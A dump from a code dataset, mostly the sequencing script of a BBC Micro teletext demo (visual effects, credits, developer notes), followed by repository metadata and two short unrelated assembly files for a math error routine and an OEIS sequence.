SCRIPT_CALLSLOT fx_plasma_init, FX_PLASMA_SLOT
SCRIPT_SEGMENT_START 8.0
SCRIPT_CALL fx_buffer_swap
SCRIPT_CALLSLOT fx_plasma, FX_PLASMA_SLOT
SCRIPT_CALLSLOT fx_teletext_drawheader, FX_TELETEXT_SLOT
SCRIPT_SEGMENT_END
ENDIF
;-----------------------------------------------------------
; GIF SEGUE - Blue Blob
;-----------------------------------------------------------
GIF_SEGMENT 2.0, PLAYGIFS_BLUEBLOB
;-----------------------------------------------------------
; Interference
;-----------------------------------------------------------
; Cant help feeling we should switch to a rave track for this one
; and inject this in a high speed pulsing fashion with the dancing man GIF!!
IF 1
; dot scroll an intro message
;DOTSCOLLER_SEGMENT 4.0, fx_dotscroller_set_text_int
TEXTTYPE_SEGMENT 3.0, 3, fx_textscreen_type_interference
SCRIPT_CALL fx_clear
SCRIPT_CALLSLOTV fx_greenscreen_set_fg, 144+3, FX_GREENSCREEN_SLOT
SCRIPT_CALLSLOTV fx_greenscreen_set_bg, 144+1, FX_GREENSCREEN_SLOT
SCRIPT_SEGMENT_START 5.0
SCRIPT_CALL fx_buffer_swap
SCRIPT_CALLSLOT fx_greenscreen_update, FX_GREENSCREEN_SLOT
SCRIPT_CALLSLOT fx_interference_update, FX_INTERFERENCE_SLOT
SCRIPT_CALLSLOT fx_teletext_drawheader, FX_TELETEXT_SLOT
SCRIPT_SEGMENT_END
GIF_SEGMENT 3.0, PLAYGIFS_DANCER
; Don't like this blend mode
;SCRIPT_CALLSLOT fx_interference_set_blend_ora, FX_INTERFERENCE_SLOT
SCRIPT_CALLSLOTV fx_greenscreen_set_fg, 144+5, FX_GREENSCREEN_SLOT
SCRIPT_CALLSLOTV fx_greenscreen_set_bg, 144+4, FX_GREENSCREEN_SLOT
SCRIPT_SEGMENT_START 5.0
SCRIPT_CALL fx_buffer_swap
SCRIPT_CALLSLOT fx_greenscreen_update, FX_GREENSCREEN_SLOT
SCRIPT_CALLSLOT fx_interference_update, FX_INTERFERENCE_SLOT
SCRIPT_CALLSLOT fx_teletext_drawheader, FX_TELETEXT_SLOT
SCRIPT_SEGMENT_END
; reset green screen
SCRIPT_CALLSLOT fx_greenscreen_set_default, FX_GREENSCREEN_SLOT
ENDIF
IF 0 ; don't think this works at this point in the sequence
GIF_SEGMENT 3.0, PLAYGIFS_DANCER
RUN_EFFECT 2.0, fx_interference_update, FX_INTERFERENCE_SLOT
GIF_SEGMENT 2.0, PLAYGIFS_DANCER
RUN_EFFECT 1.0, fx_interference_update, FX_INTERFERENCE_SLOT
GIF_SEGMENT 1.0, PLAYGIFS_DANCER
RUN_EFFECT 0.5, fx_interference_update, FX_INTERFERENCE_SLOT
GIF_SEGMENT 0.5, PLAYGIFS_DANCER
ENDIF
;-----------------------------------------------------------
; Dotscroller effect
;-----------------------------------------------------------
IF 1
TEXTTYPE_SEGMENT 3.0, 3, fx_textscreen_type_dotscroller
DOTSCOLLER_SEGMENT 5.5, fx_dotscroller_set_text_hello
ENDIF
;-----------------------------------------------------------
; Rotozoom effect
;-----------------------------------------------------------
; this is the best effect, just need to animate it, possibly add some different textures
IF 1
; dot scroll an intro message
;DOTSCOLLER_SEGMENT 4.0, fx_dotscroller_set_text_rot
TEXTTYPE_SEGMENT 2.5, 3, fx_textscreen_type_rotozoom
SCRIPT_CALL fx_clear
SCRIPT_SEGMENT_START 10.0
SCRIPT_CALL fx_buffer_swap
SCRIPT_CALLSLOT fx_rotozoom3_animate, FX_ROTOZOOM_SLOT
SCRIPT_CALLSLOT fx_rotozoom3, FX_ROTOZOOM_SLOT
SCRIPT_CALLSLOT fx_teletext_drawheader2, FX_TELETEXT_SLOT
SCRIPT_SEGMENT_END
ENDIF
;-----------------------------------------------------------
; GIF SEGUE - Bird
;-----------------------------------------------------------
GIF_SEGMENT 3.5, PLAYGIFS_BIRD
;-----------------------------------------------------------
; Particles!
;-----------------------------------------------------------
IF 1
; dot scroll an intro message
;DOTSCOLLER_SEGMENT 4.0, fx_dotscroller_set_text_part
TEXTTYPE_SEGMENT 3.0, 3, fx_textscreen_type_particles
SCRIPT_CALLSLOT fx_particles_init, FX_PARTICLES_SLOT
SCRIPT_CALLSLOT fx_particles_set_fx_spin, FX_PARTICLES_SLOT
SCRIPT_SEGMENT_START 5.0
SCRIPT_CALL fx_buffer_swap
SCRIPT_CALL fx_buffer_clear
SCRIPT_CALLSLOT fx_particles_update, FX_PARTICLES_SLOT
SCRIPT_CALLSLOT fx_teletext_drawheader, FX_TELETEXT_SLOT
SCRIPT_SEGMENT_END
SCRIPT_CALLSLOT fx_particles_bang, FX_PARTICLES_SLOT
SCRIPT_CALLSLOT fx_particles_bang, FX_PARTICLES_SLOT
SCRIPT_CALLSLOT fx_particles_set_fx_spurt, FX_PARTICLES_SLOT
SCRIPT_SEGMENT_START 5.0
SCRIPT_CALL fx_buffer_swap
SCRIPT_CALL fx_buffer_clear
SCRIPT_CALLSLOT fx_particles_update, FX_PARTICLES_SLOT
SCRIPT_CALLSLOT fx_teletext_drawheader, FX_TELETEXT_SLOT
SCRIPT_SEGMENT_END
SCRIPT_CALLSLOT fx_particles_bang, FX_PARTICLES_SLOT
SCRIPT_CALLSLOT fx_particles_bang, FX_PARTICLES_SLOT
SCRIPT_CALLSLOT fx_particles_set_fx_drip, FX_PARTICLES_SLOT
SCRIPT_SEGMENT_START 5.0
SCRIPT_CALL fx_buffer_swap
SCRIPT_CALL fx_buffer_clear
SCRIPT_CALLSLOT fx_particles_update, FX_PARTICLES_SLOT
SCRIPT_CALLSLOT fx_teletext_drawheader, FX_TELETEXT_SLOT
SCRIPT_SEGMENT_END
ENDIF
;------------------------------------------------------------------------
; PART 3: OLD-SCHOOL 3D
; a) Vector text
; b) Vector balls
; c) 3D wireframe
;------------------------------------------------------------------------
;----------------------------------------------------------
; vector text effect
;-----------------------------------------------------------
; SM: this effect is knacked for some reason, causes demo to hang, not sure why
; SM: think its fixed now. not sure what it was tho. suspicious about some filesys code overwriting pages &0e00-&10ff
; SM: I'd like to get a full vector font in so we can show any text string with it
; KC: This doesn't work on my machine at the moment :(
; Seems ok now - KC - I concur!
IF 1
TEXTTYPE_SEGMENT 3.0, 3, fx_textscreen_type_vectortext
SCRIPT_CALLSLOT fx_vectortext_init, FX_VECTORTEXT_SLOT
SCRIPT_SEGMENT_START 6.0
SCRIPT_CALL fx_buffer_swap
SCRIPT_CALL fx_buffer_clear
; SCRIPT_CALLSLOT fx_starfield_update, FX_STARFIELD_SLOT
SCRIPT_CALLSLOT fx_vectortext_update, FX_VECTORTEXT_SLOT
; SCRIPT_CALLSLOT fx_background_update, FX_BACKGROUND_SLOT
SCRIPT_CALLSLOT fx_teletext_drawheader, FX_TELETEXT_SLOT
SCRIPT_SEGMENT_END
ENDIF
;-----------------------------------------------------------
; Vector balls
;-----------------------------------------------------------
; These are cool
; I'm sure we could get more mileage out of these...
; possibly setup a spinning rotating circle of them
; bit of mirror floor action going on too?
IF 1
; dot scroll an intro message
;DOTSCOLLER_SEGMENT 5.0, fx_dotscroller_set_text_vb
TEXTTYPE_SEGMENT 3.0, 3, fx_textscreen_type_vectorballs
; point cube effect
SCRIPT_CALLSLOT fx_vectorballs_init, FX_VECTORBALLS_SLOT
SCRIPT_CALLSLOT fx_vectorballs_set_small, FX_VECTORBALLS_SLOT
SCRIPT_SEGMENT_START 3.5
SCRIPT_CALL fx_buffer_swap
SCRIPT_CALL fx_buffer_clear
SCRIPT_CALLSLOT fx_vectorballs_update, FX_VECTORBALLS_SLOT
SCRIPT_CALLSLOT fx_greenscreen_update_hue, FX_GREENSCREEN_SLOT
SCRIPT_CALLSLOT fx_teletext_drawheader, FX_TELETEXT_SLOT
SCRIPT_SEGMENT_END
SCRIPT_CALLSLOT fx_vectorballs_set_medium, FX_VECTORBALLS_SLOT
SCRIPT_SEGMENT_START 3.5
SCRIPT_CALL fx_buffer_swap
SCRIPT_CALL fx_buffer_clear
SCRIPT_CALLSLOT fx_vectorballs_update, FX_VECTORBALLS_SLOT
SCRIPT_CALLSLOT fx_greenscreen_update_hue, FX_GREENSCREEN_SLOT
SCRIPT_CALLSLOT fx_teletext_drawheader, FX_TELETEXT_SLOT
SCRIPT_SEGMENT_END
SCRIPT_CALLSLOT fx_vectorballs_set_large, FX_VECTORBALLS_SLOT
SCRIPT_SEGMENT_START 3.5
SCRIPT_CALL fx_buffer_swap
SCRIPT_CALL fx_buffer_clear
SCRIPT_CALLSLOT fx_vectorballs_update, FX_VECTORBALLS_SLOT
SCRIPT_CALLSLOT fx_greenscreen_update_hue, FX_GREENSCREEN_SLOT
SCRIPT_CALLSLOT fx_teletext_drawheader, FX_TELETEXT_SLOT
SCRIPT_SEGMENT_END
ENDIF
;-----------------------------------------------------------
; 3D Shapes
;-----------------------------------------------------------
; SM: need to cycle through the various shapes & animate the sequence better
IF 1
; dot scroll an intro message
;DOTSCOLLER_SEGMENT 5.0, fx_dotscroller_set_text_3d
TEXTTYPE_SEGMENT 3.0, 3, fx_textscreen_type_3dshapes
SCRIPT_CALLSLOT fx_3dshape_init, FX_3DSHAPE_SLOT
SCRIPT_CALLSLOT fx_3dshape_toggle_culling, FX_3DSHAPE_SLOT ; start with backfaces visible
SCRIPT_SEGMENT_START 4.5
SCRIPT_CALL fx_buffer_swap
SCRIPT_CALL fx_buffer_clear
SCRIPT_CALLSLOT fx_greenscreen_update, FX_GREENSCREEN_SLOT
SCRIPT_CALLSLOT fx_3dshape_update, FX_3DSHAPE_SLOT
SCRIPT_CALLSLOT fx_teletext_drawheader, FX_TELETEXT_SLOT
SCRIPT_SEGMENT_END
SCRIPT_CALLSLOT load_next_model, FX_3DCODE_SLOT
SCRIPT_CALLSLOT fx_3dshape_toggle_culling, FX_3DSHAPE_SLOT ; remove backfaces
SCRIPT_SEGMENT_START 4.5
SCRIPT_CALL fx_buffer_swap
SCRIPT_CALL fx_buffer_clear
SCRIPT_CALLSLOT fx_greenscreen_update, FX_GREENSCREEN_SLOT
SCRIPT_CALLSLOT fx_3dshape_update, FX_3DSHAPE_SLOT
SCRIPT_CALLSLOT fx_teletext_drawheader, FX_TELETEXT_SLOT
SCRIPT_SEGMENT_END
SCRIPT_CALLSLOT load_next_model, FX_3DCODE_SLOT
SCRIPT_SEGMENT_START 4.5
SCRIPT_CALL fx_buffer_swap
SCRIPT_CALL fx_buffer_clear
SCRIPT_CALLSLOT fx_greenscreen_update, FX_GREENSCREEN_SLOT
SCRIPT_CALLSLOT fx_3dshape_update, FX_3DSHAPE_SLOT
SCRIPT_CALLSLOT fx_teletext_drawheader, FX_TELETEXT_SLOT
SCRIPT_SEGMENT_END
SCRIPT_CALLSLOT load_next_model, FX_3DCODE_SLOT
SCRIPT_SEGMENT_START 4.5
SCRIPT_CALL fx_buffer_swap
SCRIPT_CALL fx_buffer_clear
SCRIPT_CALLSLOT fx_greenscreen_update, FX_GREENSCREEN_SLOT
; SCRIPT_CALLSLOT fx_rasterbars_update, FX_RASTERBARS_SLOT ; this is too garish
; SCRIPT_CALLSLOT fx_rasterbars_write_shadow, FX_RASTERBARS_SLOT
SCRIPT_CALLSLOT fx_3dshape_update, FX_3DSHAPE_SLOT
SCRIPT_CALLSLOT fx_teletext_drawheader, FX_TELETEXT_SLOT
SCRIPT_SEGMENT_END
SCRIPT_CALLSLOT load_next_model, FX_3DCODE_SLOT
;-----------------------------------------------------------
; Crescendo - cut between everything really fast!
;-----------------------------------------------------------
; Noise
SCRIPT_SEGMENT_START 0.2
SCRIPT_CALL fx_buffer_swap
SCRIPT_CALLSLOT fx_noise_update, FX_NOISE_SLOT
SCRIPT_SEGMENT_END
; Testcard
SCRIPT_CALL fx_clear
SCRIPT_SEGMENT_START 0.2
SCRIPT_CALL fx_buffer_swap
SCRIPT_CALLSLOT fx_testcard, FX_TESTCARD_SLOT
SCRIPT_SEGMENT_END
; Heisenberg
SCRIPT_SEGMENT_START 0.2
SCRIPT_CALL fx_buffer_swap
SCRIPT_CALL fx_buffer_clear
SCRIPT_CALLSLOTV fx_teletext_drawpage, PAGE_HEISENBURG, FX_TELETEXT_SLOT
SCRIPT_CALLSLOT fx_teletext_drawheader, FX_TELETEXT_SLOT
SCRIPT_SEGMENT_END
; Colour noise
SCRIPT_SEGMENT_START 0.2
SCRIPT_CALL fx_buffer_swap
SCRIPT_CALLSLOT fx_colournoise_update, FX_NOISE_SLOT
; SCRIPT_CALLSLOT fx_teletext_drawheader, FX_TELETEXT_SLOT
SCRIPT_SEGMENT_END
; Animated logo
SCRIPT_CALLSLOT fx_logoanim_init, FX_LOGOANIM_SLOT ; initialises a single screen with the logo
SCRIPT_CALLSLOT fx_logoanim_update, FX_LOGOANIM_SLOT ; just updates top & bottom chars of logo
SCRIPT_CALL fx_buffer_swap
SCRIPT_CALLSLOT fx_logoanim_init, FX_LOGOANIM_SLOT ; initialises a single screen with the logo
SCRIPT_CALLSLOT fx_logoanim_update, FX_LOGOANIM_SLOT ; just updates top & bottom chars of logo
SCRIPT_SEGMENT_START 0.2
SCRIPT_CALL fx_buffer_swap
SCRIPT_CALLSLOT fx_logoanim_update, FX_LOGOANIM_SLOT ; just updates top & bottom chars of logo
SCRIPT_SEGMENT_END
GIF_SEGMENT 0.2, PLAYGIFS_WEATHER
; Logo anim
SCRIPT_SEGMENT_START 0.2
SCRIPT_CALL fx_buffer_swap
SCRIPT_CALL fx_buffer_clear
SCRIPT_CALLSLOT fx_logowibble_update, FX_LOGOWIBBLE_SLOT
SCRIPT_CALLSLOT fx_starfield_update, FX_STARFIELD_SLOT
SCRIPT_CALLSLOT fx_teletext_drawheader, FX_TELETEXT_SLOT
SCRIPT_SEGMENT_END
; Teletextr
SCRIPT_SEGMENT_START 0.2
SCRIPT_CALL fx_buffer_swap
SCRIPT_CALL fx_buffer_clear
SCRIPT_CALLSLOTV fx_teletext_drawpage, PAGE_TELETEXTR, FX_TELETEXT_SLOT
SCRIPT_CALLSLOT fx_teletext_drawheader, FX_TELETEXT_SLOT
SCRIPT_SEGMENT_END
; Nova
SCRIPT_SEGMENT_START 0.2
SCRIPT_CALL fx_buffer_swap
SCRIPT_CALL fx_buffer_clear
SCRIPT_CALLSLOTV fx_teletext_drawpage, PAGE_NOVA, FX_TELETEXT_SLOT
SCRIPT_CALLSLOT fx_teletext_drawheader, FX_TELETEXT_SLOT
SCRIPT_SEGMENT_END
; Plasma
SCRIPT_CALL fx_clear
SCRIPT_CALLSLOT fx_plasma_init, FX_PLASMA_SLOT
SCRIPT_SEGMENT_START 0.2
SCRIPT_CALL fx_buffer_swap
SCRIPT_CALLSLOT fx_plasma, FX_PLASMA_SLOT
SCRIPT_CALLSLOT fx_teletext_drawheader, FX_TELETEXT_SLOT
SCRIPT_SEGMENT_END
GIF_SEGMENT 0.2, PLAYGIFS_BLUEBLOB
; Interference
SCRIPT_CALL fx_clear
SCRIPT_CALLSLOTV fx_greenscreen_set_fg, 144+6, FX_GREENSCREEN_SLOT
SCRIPT_CALLSLOTV fx_greenscreen_set_bg, 144+2, FX_GREENSCREEN_SLOT
SCRIPT_SEGMENT_START 0.2
SCRIPT_CALL fx_buffer_swap
SCRIPT_CALLSLOT fx_greenscreen_update, FX_GREENSCREEN_SLOT
SCRIPT_CALLSLOT fx_interference_update, FX_INTERFERENCE_SLOT
SCRIPT_CALLSLOT fx_teletext_drawheader, FX_TELETEXT_SLOT
SCRIPT_SEGMENT_END
GIF_SEGMENT 0.2, PLAYGIFS_DANCER
; Rotozoom
SCRIPT_CALL fx_clear
SCRIPT_SEGMENT_START 0.2
SCRIPT_CALL fx_buffer_swap
SCRIPT_CALLSLOT fx_rotozoom3_animate, FX_ROTOZOOM_SLOT
SCRIPT_CALLSLOT fx_rotozoom3, FX_ROTOZOOM_SLOT
SCRIPT_CALLSLOT fx_teletext_drawheader2, FX_TELETEXT_SLOT
SCRIPT_SEGMENT_END
GIF_SEGMENT 0.2, PLAYGIFS_BIRD
; Particles
SCRIPT_SEGMENT_START 0.2
SCRIPT_CALL fx_buffer_swap
SCRIPT_CALL fx_buffer_clear
SCRIPT_CALLSLOT fx_particles_update, FX_PARTICLES_SLOT
SCRIPT_CALLSLOT fx_teletext_drawheader, FX_TELETEXT_SLOT
SCRIPT_SEGMENT_END
; Vector text
SCRIPT_CALLSLOT fx_vectortext_init, FX_VECTORTEXT_SLOT
SCRIPT_SEGMENT_START 0.2
SCRIPT_CALL fx_buffer_swap
SCRIPT_CALL fx_buffer_clear
SCRIPT_CALLSLOT fx_vectortext_update, FX_VECTORTEXT_SLOT
SCRIPT_CALLSLOT fx_teletext_drawheader, FX_TELETEXT_SLOT
SCRIPT_SEGMENT_END
; point cube effect
SCRIPT_CALLSLOT fx_vectorballs_init, FX_VECTORBALLS_SLOT
SCRIPT_CALLSLOT fx_vectorballs_set_small, FX_VECTORBALLS_SLOT
SCRIPT_SEGMENT_START 0.2
SCRIPT_CALL fx_buffer_swap
SCRIPT_CALL fx_buffer_clear
SCRIPT_CALLSLOT fx_vectorballs_update, FX_VECTORBALLS_SLOT
SCRIPT_CALLSLOT fx_teletext_drawheader, FX_TELETEXT_SLOT
SCRIPT_SEGMENT_END
; 3D shape
SCRIPT_CALLSLOT fx_3dshape_init, FX_3DSHAPE_SLOT
SCRIPT_CALLSLOT load_next_model, FX_3DCODE_SLOT
SCRIPT_CALLSLOT load_next_model, FX_3DCODE_SLOT
SCRIPT_CALLSLOT load_next_model, FX_3DCODE_SLOT
SCRIPT_CALLSLOT load_next_model, FX_3DCODE_SLOT
SCRIPT_CALLSLOT load_next_model, FX_3DCODE_SLOT
SCRIPT_CALLSLOTV fx_greenscreen_set_fg, 144+3, FX_GREENSCREEN_SLOT
SCRIPT_CALLSLOTV fx_greenscreen_set_bg, 144+4, FX_GREENSCREEN_SLOT
SCRIPT_SEGMENT_START 5.0
SCRIPT_CALL fx_buffer_swap
SCRIPT_CALL fx_buffer_clear
SCRIPT_CALLSLOT fx_greenscreen_update, FX_GREENSCREEN_SLOT
SCRIPT_CALLSLOT fx_3dshape_update, FX_3DSHAPE_SLOT
SCRIPT_CALLSLOT fx_teletext_drawheader, FX_TELETEXT_SLOT
SCRIPT_SEGMENT_END
ENDIF
; SM: we should somehow maybe start winding the demo down now toward the credits?
; its a bit of a jolt when they come in.
; Perhaps a vertical scrolling art gallery would be cool - some horsenburger masterpieces?
; A reminder of how cool teletext is.
; KC: Or save this for the Horsenburger picture disc?
;------------------------------------------------------------------------
; PART 4: THE END
; a) Credits + Greets
; b) Testcard + turn off TV
;------------------------------------------------------------------------
;-----------------------------------------------------------
; Credits scroll
; lasts 35 seconds - same as music (34s)
;-----------------------------------------------------------
; clear the screen on finish
SCRIPT_CALL fx_buffer_swap
SCRIPT_CALL fx_buffer_clear
SCRIPT_CALL fx_buffer_swap
SCRIPT_CALL fx_buffer_clear
SCRIPT_CALL fx_music_init_exception ; exception
SCRIPT_CALL fx_music_start
; The music is 34.5 seconds long
; credits intro
SCRIPT_CALLSLOTV fx_textscreen_reset_type_delay, 2, FX_CREDITSCROLL_SLOT
SCRIPT_CALLSLOTV fx_greenscreen_set_fg, 144+3, FX_GREENSCREEN_SLOT
SCRIPT_SEGMENT_START 2.5
SCRIPT_CALL fx_buffer_swap
SCRIPT_CALL fx_buffer_clear
SCRIPT_CALLSLOT fx_greenscreen_update, FX_GREENSCREEN_SLOT
SCRIPT_CALLSLOT fx_textscreen_type_credits, FX_CREDITSCROLL_SLOT
SCRIPT_CALLSLOT fx_teletext_drawheader, FX_TELETEXT_SLOT
SCRIPT_SEGMENT_END
;-----------------------------------------------------------
; image credits
;-----------------------------------------------------------
SCRIPT_SEGMENT_START 1.5
SCRIPT_CALL fx_buffer_swap
SCRIPT_CALL fx_buffer_clear
SCRIPT_CALLSLOTV fx_teletext_drawpage, PAGE_HORSENBURGER, FX_TELETEXT_SLOT
SCRIPT_CALLSLOT fx_teletext_drawheader, FX_TELETEXT_SLOT
SCRIPT_SEGMENT_END
SCRIPT_SEGMENT_START 1.5
SCRIPT_CALL fx_buffer_swap
SCRIPT_CALL fx_buffer_clear
SCRIPT_CALLSLOTV fx_teletext_drawpage, PAGE_KIERAN, FX_TELETEXT_SLOT
SCRIPT_CALLSLOT fx_teletext_drawheader, FX_TELETEXT_SLOT
SCRIPT_SEGMENT_END
SCRIPT_SEGMENT_START 1.5
SCRIPT_CALL fx_buffer_swap
SCRIPT_CALL fx_buffer_clear
SCRIPT_CALLSLOTV fx_teletext_drawpage, PAGE_SIMON, FX_TELETEXT_SLOT
SCRIPT_CALLSLOT fx_teletext_drawheader, FX_TELETEXT_SLOT
SCRIPT_SEGMENT_END
; clear the screen on finish
SCRIPT_CALL fx_buffer_swap
SCRIPT_CALL fx_buffer_clear
SCRIPT_CALL fx_buffer_swap
SCRIPT_CALL fx_buffer_clear
SCRIPT_CALL shadow_set_single_buffer
SCRIPT_SEGMENT_START 34.5-7.0
; SCRIPT_CALL fx_buffer_swap
SCRIPT_CALLSLOT fx_creditscroll_update, FX_CREDITSCROLL_SLOT
SCRIPT_CALLSLOT fx_rasterbars_update, FX_RASTERBARS_SLOT
; SCRIPT_CALLSLOT fx_rasterbars_write_shadow, FX_RASTERBARS_SLOT
SCRIPT_SEGMENT_END
SCRIPT_CALL shadow_set_double_buffer
SCRIPT_CALL fx_music_stop
;-----------------------------------------------------------
; Finish - show testcard
;-----------------------------------------------------------
SCRIPT_CALL fx_clear
SCRIPT_CALLSLOT fx_testcard_init, FX_TESTCARD_SLOT
SCRIPT_SEGMENT_START 5.0
SCRIPT_CALL fx_buffer_swap
SCRIPT_CALLSLOT fx_testcard, FX_TESTCARD_SLOT
SCRIPT_SEGMENT_END
; Turn off TV - Screen needs to clear to a single dot in the centre!!
SCRIPT_CALL fx_music_stop
SCRIPT_CALL fx_clear
SCRIPT_SEGMENT_START 5.0
SCRIPT_CALL fx_buffer_swap
SCRIPT_CALLSLOT fx_testcard_dot, FX_TESTCARD_SLOT
SCRIPT_SEGMENT_END
; clear the screen on finish
SCRIPT_CALL fx_buffer_swap
SCRIPT_CALL fx_buffer_clear
SCRIPT_CALL fx_buffer_swap
SCRIPT_CALL fx_buffer_clear
.segment_end
SCRIPT_END
.demo_script_end
;------------------------------------------------------------------------
; UNUSED FX
;------------------------------------------------------------------------
;----------------------------------------------------------
; line box effect
;-----------------------------------------------------------
; SM: gonna make the linebox demo do something more - like animated boxes/fractals etc.
; KC: I get the line box starting in the middle of the screen when I run through? Uninitialised start pos?
; KC: removing for now as want to get the sequence tighter
; test segment - linebox
IF 0
SCRIPT_SEGMENT_START 5.0
SCRIPT_CALL fx_buffer_swap
SCRIPT_CALL fx_buffer_clear
SCRIPT_CALLSLOT fx_greenscreen_update, FX_GREENSCREEN_SLOT
SCRIPT_CALLSLOT fx_linebox_update, FX_LINEBOX_SLOT
SCRIPT_CALLSLOT fx_teletext_drawheader, FX_TELETEXT_SLOT
SCRIPT_SEGMENT_END
ENDIF
; test segment - just rasters
IF 0
SCRIPT_SEGMENT_START 5.0
SCRIPT_CALL fx_buffer_swap
SCRIPT_CALL fx_buffer_clear
SCRIPT_CALLSLOT fx_rasterbars_update, FX_RASTERBARS_SLOT
SCRIPT_CALLSLOT fx_rasterbars_write_shadow, FX_RASTERBARS_SLOT
SCRIPT_CALLSLOT fx_teletext_drawheader, FX_TELETEXT_SLOT
SCRIPT_SEGMENT_END
ENDIF
;-----------------------------------------------------------
; GIF player
; its GIPHY time!
;-----------------------------------------------------------
; SM: it would be good to be able to play different animations on demand
; so we can inject these through the whole sequence.
; Plus we should have MOAR animations - these are ACE!
IF 0
SCRIPT_CALLSLOT fx_playgifs_init, FX_PLAYGIFS_SLOT
SCRIPT_SEGMENT_START 20.0
SCRIPT_CALL fx_buffer_swap
SCRIPT_CALLSLOT fx_playgifs_update, FX_PLAYGIFS_SLOT
SCRIPT_CALLSLOT fx_teletext_drawheader, FX_TELETEXT_SLOT
SCRIPT_SEGMENT_END
SCRIPT_CALL fx_buffer_clear
ENDIF
;-----------------------------------------------------------
; Dot scroller
;-----------------------------------------------------------
IF 0 ; skip this - use as an intro to each section
SCRIPT_SEGMENT_START 20.0
SCRIPT_CALL fx_buffer_swap
SCRIPT_CALL fx_buffer_clear
SCRIPT_CALLSLOT fx_dotscroller_update, FX_DOTSCROLLER_SLOT
SCRIPT_CALLSLOT fx_mirrorfloor_update, FX_MIRRORFLOOR_SLOT
SCRIPT_CALLSLOT fx_teletext_drawheader, FX_TELETEXT_SLOT
SCRIPT_SEGMENT_END
ENDIF
;-----------------------------------------------------------
; Earlier Rotozoomers
;-----------------------------------------------------------
IF 0
; Might kill this one - technically interesting, but way too slow
; KC: yes, too slow! Next time!
SCRIPT_SEGMENT_START 10.0
SCRIPT_CALL fx_buffer_swap
SCRIPT_CALLSLOT fx_rotozoom1, FX_ROTOZOOM_SLOT
SCRIPT_CALLSLOT fx_teletext_drawheader2, FX_TELETEXT_SLOT
SCRIPT_SEGMENT_END
ENDIF
IF 0
; was just a technical concept really - dump it
SCRIPT_SEGMENT_START 10.0
SCRIPT_CALL fx_buffer_swap
SCRIPT_CALLSLOT fx_rotozoom2, FX_ROTOZOOM_SLOT
SCRIPT_CALLSLOT fx_teletext_drawheader2, FX_TELETEXT_SLOT
SCRIPT_SEGMENT_END
ENDIF
;------------------------------------------------------------------------
; IDEAS
;------------------------------------------------------------------------
; Fade off the BBC Computer screen
; CEEFAX page
; bzz with TESTCARD "BITSHIFTERS TV" & 1Khz tone
; flicker off
; music starts
;
; bitshifters presents
; 'teletextr demo'
; plasma demo with hold/block graphics
; do lazy initialization using init bytes
; no need for init routines this way.
; use separated graphics as a half brite effect
; RGB overlapping circles sprites
; giphy sequences
;------------------------------------------------------------------------
; KIERAN NOTES - 5/6/17
;------------------------------------------------------------------------
; Concept: Bitshifters hijacked Ceefax with our favourite old-school demo fx
; Target time: 3:30s
; Key beats + timings:
; 0. Loading: ~20s
; 1. Setup: ~40s
; a. Tuning in the TV
; b. Pages from Ceefax
; c. Bitshifters hijacked your TV
; 2. Main 2D feature fx: ~60s
; a. Plasma
; b. Interference
; c. Particles
; 3. Main 3D feature fx: ~60s
; a. 3D points?
; b. Vector balls
; c. 3D wireframe
; d. Vector text?
; 4. End: ~40s
; a. Credits + greets
; b. Testcard + turn off
; 5. General Linking fx:
; a. Animated GIFs
; b. Dotscroller
; c. Starfield
; d. Rasterbars
; e. Mirror
; Need to get to the action within 60s and keep the overall length tight - less is more!
; Strength is that we can switch rapidly between fx so keep it snappy - we're not hiding any loading!
; Go from least to most impressive - probably start 2D and end 3D ("bringing Teletext to a new dimension")
; 6. FX polish:
; a. Nice colour setups for Interference
; b. More colour for particles + make rotation snappier
; c. Different angles / configurations for dot scroller
; c. Better anim for Bitshifters logo (could be a beat bar!)
; 7. Extra FX if time:
; a. Port sinewave scroller
; b. Linebox
; c. Bouncing 2D sprites
; d. Animated dot scroller
| 34.052814 | 117 | 0.694312 |
a86a597e73beda33d1804b237c9d5c27b4bbb67d | 281 | asm | Assembly | libsrc/_DEVELOPMENT/math/float/math48/z80/am48_derror_erange_intc.asm | jpoikela/z88dk | 7108b2d7e3a98a77de99b30c9a7c9199da9c75cb | [
"ClArtistic"
] | 640 | 2017-01-14T23:33:45.000Z | 2022-03-30T11:28:42.000Z | libsrc/_DEVELOPMENT/math/float/math48/z80/am48_derror_erange_intc.asm | jpoikela/z88dk | 7108b2d7e3a98a77de99b30c9a7c9199da9c75cb | [
"ClArtistic"
] | 1,600 | 2017-01-15T16:12:02.000Z | 2022-03-31T12:11:12.000Z | libsrc/_DEVELOPMENT/math/float/math48/z80/am48_derror_erange_intc.asm | jpoikela/z88dk | 7108b2d7e3a98a77de99b30c9a7c9199da9c75cb | [
"ClArtistic"
] | 215 | 2017-01-17T10:43:03.000Z | 2022-03-23T17:25:02.000Z |
SECTION code_clib
SECTION code_fp_math48
PUBLIC am48_derror_erange_intc
EXTERN error_erange_zc
am48_derror_erange_intc:
; return INT_MAX or INT_MIN
call error_erange_zc
ld h,$80
bit 7,b
ret nz ; if negative
dec hl
ret
| 12.772727 | 44 | 0.654804 |
66949db11318df9a415ef146eaf5f1d3459beda7 | 552 | asm | Assembly | oeis/136/A136506.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 11 | 2021-08-22T19:44:55.000Z | 2022-03-20T16:47:57.000Z | oeis/136/A136506.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 9 | 2021-08-29T13:15:54.000Z | 2022-03-09T19:52:31.000Z | oeis/136/A136506.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 3 | 2021-08-22T20:56:47.000Z | 2021-09-29T06:26:12.000Z | ; A136506: a(n) = binomial(2^n + 2, n).
; 1,4,15,120,3060,278256,90858768,105637584000,436355999662176,6431591598617108352,340881559632021623909760,65533747894341651530074060800,46081376018330435634530315478453248,119407315859076545156072563863598431096832,1147626132510941351319215538540322118180599296000,41139144824238986401108861452631188683244465499938914304,5526829861748872637260376979518662055700262774391551021113569280,2794230646819660318264319632120902138818188970997202090567437577772580864
mov $1,2
pow $1,$0
add $1,2
bin $1,$0
mov $0,$1
| 61.333333 | 462 | 0.88587 |
a674baf5efc28ff26380f647e8183788cc173cc5 | 597 | asm | Assembly | programs/oeis/080/A080951.asm | karttu/loda | 9c3b0fc57b810302220c044a9d17db733c76a598 | [
"Apache-2.0"
] | null | null | null | programs/oeis/080/A080951.asm | karttu/loda | 9c3b0fc57b810302220c044a9d17db733c76a598 | [
"Apache-2.0"
